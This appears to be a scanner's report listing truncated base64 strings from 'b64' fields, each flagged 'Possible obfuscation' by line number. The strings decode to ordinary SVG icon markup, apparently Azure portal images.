"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3ZmExNjM3LWQ5ZTEtNGMyNi04ZjIwLTFjYWU4MTJlN2VlYiIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5 - Possible obfuscationline 727
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEiIHgxPSI4Ljk0IiB5MT0iMTguMTEiIHgyPSI4LjkxIiB5Mj0iMTMuNTkiIGdyYWRpZW50VW5pdHM9InVzZXJT - Possible obfuscationline 732
"b64": "PHN2ZyBpZD0iZmYzMGNmMWYtZmJkZS00ODk2LTkyNzktNGU1YmJjNmYxMDRmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YTBjMDVlLTYzN2UtNGFkZi1iMzhk - Possible obfuscationline 737
"b64": "PHN2ZyBpZD0iYTMyZTgxZjQtYzI2MC00YzIzLWIyMTYtMmJhMjVkNWVkOTQ1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48Zz48cGF0aCBkPSJNNC4wNDUsMy43MjdhLjEuMSwwLDAsMCwuMDk0LS4wOTVWMy4w - Possible obfuscationline 742
"b64": "PHN2ZyBpZD0iZWNjZmJjZWQtMTBjYS00ODdhLWE0MjUtYmYzNGY5ZTE1MTM5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImI5MTU3MzBjLWRjNjktNGNkNC04Y2Yz - Possible obfuscationline 747
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE2OTg2MDk5LTNiODItNDZlYy1hZTlhLWM4MjE2MTBjOWNjOCIgeDE9IjkiIHkxPSIxOS44NDgiIHgyPSI5IiB5 - Possible obfuscationline 752
"b64": "PHN2ZyBpZD0idXVpZC1mMTkxMGY3OS0yNDFkLTQ4ODAtYWM2Ni0wZjJhYTdjNjY3ZDEiIGRhdGEtbmFtZT0iTGF5ZXIgMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2 - Possible obfuscationline 757
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4NWUyYmYwLTNhMmYtNGNjMi1hZTVmLTYwZmU1ODgxYTJhNSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5 - Possible obfuscationline 762
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjOTAyMmIxLTAzNDItNDBhOS05Y2Y1LTAwMWNiYmQ3ODMyZCIgeDE9IjguOTE2IiB5MT0iMTcuNSIgeDI9Ijgu - Possible obfuscationline 767
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYjU2Y2EyLTcyYjEtNDFjNS1hZjA2LTMyZWI5OTA4MTNlNyIgeDE9Ii00MTk5LjM1OSIgeTE9Ijk5MC4yNzUi - Possible obfuscationline 772
"b64": "PHN2ZyBpZD0idXVpZC0wYzMxYjc1Yy03MDQzLTRmYTYtYWM2MC0yZDZhZGJjMDczMmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik0xNC42MDksMTEuMjk3bC01LjYwOSwxLjc4MS01LjYwOS0x - Possible obfuscationline 777
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViZjhjODNmLWE1NDMtNDY4NC1hMGZiLWQ4YjdjYWZjMjUwOCIgeDE9Ii0yLjExMyIgeTE9IjEyLjIxMSIgeDI9 - Possible obfuscationline 782
"b64": "PHN2ZyBpZD0iYTRjMGE2ZGYtNzA3ZS00YWU3LTliODYtNzQyZTRmOTY1MWUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFjNDIwZTQ3LWYxOTAtNDZkZi1hYjE0 - Possible obfuscationline 787
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3NTZmMTk0LWYwYWItNGJhZi05YTViLWMyNDM3MzI2MDI5OCIgeDE9IjYuMDEiIHkxPSIxNy42OSIgeDI9IjYu - Possible obfuscationline 792
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYWIxY2NhODQtOTNjZi00ZDMzLWJjZjgtYjZiM2ZiNzNkZGYwIj48Zz48Zz48cG9seWdvbiBwb2ludHM9IjE1LjQzNCA5Ljc5OCAxMy43MjQgMTAu - Possible obfuscationline 797
"b64": "PHN2ZyBpZD0iYjMwMGYwZDEtMmFkOC00NDE4LWExYzUtMjNkMGI5ZDIxODQxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4Y2FkNmZkLWVjN2YtNDVlOS1iZTJh - Possible obfuscationline 802
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU1YjEwMjM2LTExNmMtNDNmMC1iOGQ3LTdhYTgxNDdjMWFjYiIgeDE9IjkiIHkxPSIxMy43MTIiIHgyPSI5IiB5 - Possible obfuscationline 807
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU1MjhiYTE0LTk5MmUtNDdjNS1iZWYwLTY2M2NhMTc4MjBkYyIgeDE9IjExLjk5NCIgeTE9Ii0wLjIwOSIgeDI9 - Possible obfuscationline 812
"b64": "PHN2ZyBpZD0iYjIyZWQzZTUtODdjNi00OTQ4LWExMmQtZTlhOWZjYTM0OWVhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjZWYxMDNiLTg0M2QtNDAxMy1iMWMy - Possible obfuscationline 817
"b64": "PHN2ZyBpZD0iYmIzN2VlMTEtMWQ3OC00MmRjLTllNjgtMWVmNmY2OTNjMTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQ2YzNkLTA2ZjItNGQ4MS1iM2Zh - Possible obfuscationline 822
"b64": "PHN2ZyBpZD0iYWZjYzM3ODMtNzM3OC00NDk3LWJmMTUtNzJjMjA2MzNiZjIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MmRhMTE4LTk5M2QtNGMzOS04MDNj - Possible obfuscationline 827
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkN2E4OGE2LWIyYTAtNGJiZC1iZGU1LTg0NTRiYjdkMzQ0ZiIgeDE9IjguMDA2IiB5MT0iMS44NjciIHgyPSI4 - Possible obfuscationline 832
"b64": "PHN2ZyBpZD0iYWZjYzM3ODMtNzM3OC00NDk3LWJmMTUtNzJjMjA2MzNiZjIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MmRhMTE4LTk5M2QtNGMzOS04MDNj - Possible obfuscationline 837
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkN2E4OGE2LWIyYTAtNGJiZC1iZGU1LTg0NTRiYjdkMzQ0ZiIgeDE9IjguMDA2IiB5MT0iMS44NjciIHgyPSI4 - Possible obfuscationline 842
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyMTQ0MmZjLTUwNmItNDNlMy1hMzU4LTVjZGVkNmVjMTJiMSIgeDE9IjkiIHkxPSI3ODAuNDYxIiB4Mj0iOSIg - Possible obfuscationline 847
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2Mzk3ZDJlLTNiYTEtNDgyNC04MjllLTk5NzhhNTMzNTA3MiIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5 - Possible obfuscationline 852
"b64": "PHN2ZyBpZD0idXVpZC05N2M0YWJiZi05YzQ2LTQ5ZTktYWE2Yi0zNzhlZjk0YjYyMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC02NmNmMmI2Zi0yMDc4 - Possible obfuscationline 857
"b64": "PHN2ZyBpZD0iZjQ3MGUxMTItZjFkOC00YzE4LWEzODEtOWI1NGUxMWE5Y2EzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxOThmOWFkLTIyNGUtNGYzNy05OWJi - Possible obfuscationline 862
"b64": "PHN2ZyBpZD0iZjc4ZjUxMTUtYmU4OC00ZDQ0LWIzNGUtM2Y2ZWE3NDMxMjVjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2YzQzYmQ5LWUzN2YtNDE5MS05M2My - Possible obfuscationline 867
"b64": "PHN2ZyBpZD0idXVpZC00MDAxMWYzZi0yMmQwLTQ4ODItODM3Ni1hZmUyZWY1MTRhN2UiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01YzRkZmMzMy0xMjM2 - Possible obfuscationline 872
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3NzQ5MTJhLTZmMDYtNDBmNC04ZTMxLWYyZDRkZDYxZDJhZiIgeDE9IjEzLjM5OCIgeTE9IjEuNzQ3IiB4Mj0i - Possible obfuscationline 877
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYWI4NjJmLWQ1YzYtNDkyNi04M2U0LTBhZGY3M2NhN2RiMCIgeDE9IjkiIHkxPSI5LjM4NyIgeDI9IjkiIHky - Possible obfuscationline 882
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU4ODEyMThhLWU0YmYtNGUwZS1iYmNmLWRhMDkwYjViNWNiZiIgeDE9IjEwLjU2NCIgeTE9IjEuMzMzIiB4Mj0i - Possible obfuscationline 887
"b64": "PHN2ZyBpZD0iYWNjYjhiMTEtZmY3NS00ZWQ3LTg2ZDAtNzRmM2FmOWU5ZmRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjMzRjZjNjLTA3MDUtNDYwOS04ZWRh - Possible obfuscationline 892
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhOTJmM2QwLTMyOGUtNGZlNC05ZDk1LTZhZTBkNzkzNmE1YiIgeDE9IjcuOTQ0IiB5MT0iMC4yMzMiIHgyPSI3 - Possible obfuscationline 897
"b64": "PHN2ZyBpZD0idXVpZC1kY2JhMGQxZS0zOGY3LTQ2MmUtODg0YS1mNDdmZmE3MTdmYjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMzRkZTUzOS03YmI3 - Possible obfuscationline 902
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGZmY2U5LTI5NjAtNDk5Ni05OTVlLTFlM2I5OGVjMWQ5OSIgeDE9IjguNzY1IiB5MT0iMTUuMjY1IiB4Mj0i - Possible obfuscationline 907
"b64": "PHN2ZyBpZD0iYTEyZDc1ZWEtY2JiNi00NGZhLTgzMmEtZTU0Y2NlMDA5MTAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyYjEzZDgxLTk3ZTAtNDY1YS1iOWVk - Possible obfuscationline 912
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4YmU5MGNhLWI1MTMtNDg5MC1hYzQyLWI3ZmMzYjM5NmI3MSIgeDE9IjExLjU2NSIgeTE9IjE0LjcyOSIgeDI9 - Possible obfuscationline 917
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MjllNjZlLTk2NTEtNGNiNi05MDFhLWI1ZDczZTI1ZmNkOSIgeDE9IjYuNDM2IiB5MT0iMTAuNzc2IiB4Mj0i - Possible obfuscationline 922
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYTdlOWU1LTFmZTktNDEyMS05MTRjLTBiYWNlYzg3Mjc1YiIgeDE9IjcuMDI4IiB5MT0iMS4xNzkiIHgyPSI3 - Possible obfuscationline 927
"b64": "PHN2ZyBpZD0iZjhjYzY3YjYtODhkMi00ZDY1LWI5ZDQtMDg4N2UwNGQxZjM4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIxY2Q0NGYyLWQ2MmItNDc1My1hODU5 - Possible obfuscationline 932
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYjc4NjgzNTUtMDAwMS00MWU4LTg0ZTEtYWU4NDJkOTRhNWFhIj48Zz48cG9seWdvbiBwb2ludHM9IjEyLjEgMi4wNSAxMi4xIDUuODUgOC45IDcu - Possible obfuscationline 937
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYTQ0MDkzLWIxNTctNDI2ZS1hOGZlLWNlYzlmOWMyMzk3OCIgeDE9IjExLjcyOSIgeTE9IjQuODgiIHgyPSIx - Possible obfuscationline 942
"b64": "PHN2ZyBpZD0iYmViNDQwZjUtZDAxNy00ZGRhLTk4OWEtZGRkNDI1ZmNlMDJlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3NTQzOTA0LTRhODktNDM1ZS05NmNk - Possible obfuscationline 947
"b64": "PHN2ZyBpZD0iZTlmN2JhNzMtNTZiOC00ODY0LTk2ZmYtZGNlODBiZWY3MjlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkZjI3ZGM2LTAyNWMtNDgwNS04YmZk - Possible obfuscationline 952
"b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi - Possible obfuscationline 957
"b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi - Possible obfuscationline 962
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1NWJmMjEyLWJjNzEtNDNhZS1iNDJkLTE5ZWY3YTkxYzFkOCIgeDE9IjkiIHkxPSIxMy4yNDUiIHgyPSI5IiB5 - Possible obfuscationline 967
"b64": "PHN2ZyBpZD0idXVpZC01NGM5YmUwNC1iYmFiLTRjMjQtYTNkZi0xMWJkMGUyOGNhODUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MGZkNjJmNS1kMTgy - Possible obfuscationline 972
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMmFmNjdlLTNjZGQtNDNkMy04OGE5LWM2ZGRjODJiOTVhOSIgeDE9IjMuNTI0IiB5MT0iNi4xNjIiIHgyPSIz - Possible obfuscationline 977
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYTk3YzA3LWIxMjYtNDBjMS1hZjVjLTQ0YTNiMzAwZDBlZSIgeDE9Ii02NTUuNjQ0IiB5MT0iNzUxLjQwMSIg - Possible obfuscationline 982
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OTYyOGU0LWYxZmItNGI2My05YzM0LWUyZDg0YzM2YWZjNCIgeDE9IjkiIHkxPSIxNy4xOTgiIHgyPSI5IiB5 - Possible obfuscationline 987
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4OTc3YTZlLTBlZDgtNDk0MC1hYWE1LTdmYTI0OTgwOWY1MSIgeDE9IjUuODM5IiB5MT0iMTcuMDY4IiB4Mj0i - Possible obfuscationline 992
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImI0MmYyYTZlLTcwMzktNDMxYi04MzRjLWRmOTEzZDRhYzI5YyIgY3g9IjkuNDc3IiBjeT0iOS41NzYiIHI9Ijcu - Possible obfuscationline 997
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExY2JhMzk3LTQ0YWYtNDhlNC1iY2IyLTIyNGI3MmIyM2E4NyIgeDE9IjUuNzgyIiB5MT0iMS43ODkiIHgyPSI1 - Possible obfuscationline 1002
"b64": "PHN2ZyBpZD0iZTAwZmVmMzAtMTU2Yy00OTMwLThiNjUtM2E1OTM1NDNhYTFkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0NWJhOWI1LTJlMDgtNGMzOS04OTE2 - Possible obfuscationline 1007
"b64": "PHN2ZyBpZD0iYjczMWY2ODQtN2NiOS00ZGI3LWIyYzEtMTUwNjhhYmYxMzNkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImY2NTM5OGEzLWRmNjktNDY4OS04ZDVh - Possible obfuscationline 1012
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xMjwvdGl0bGU+PGcgaWQ9ImI4M2VmYWVhLWJkZGEtNGNhNi1iM2YzLWJkOWI0NDBmMWQxMiI+PGc+PHBh - Possible obfuscationline 1017
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xODwvdGl0bGU+PGcgaWQ9ImZiMmJlMThlLTQ1NGYtNDEwNC04NjlhLTMxYzNiOGJhOTYxYyI+PGc+PGc+ - Possible obfuscationline 1022
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNjJhMzlmLTMzNGUtNGY3MC1hMjhkLTY0YjhiMDAwMTg2ZSIgeDE9IjguNDQiIHkxPSI0LjUyOSIgeDI9Ijgu - Possible obfuscationline 1027
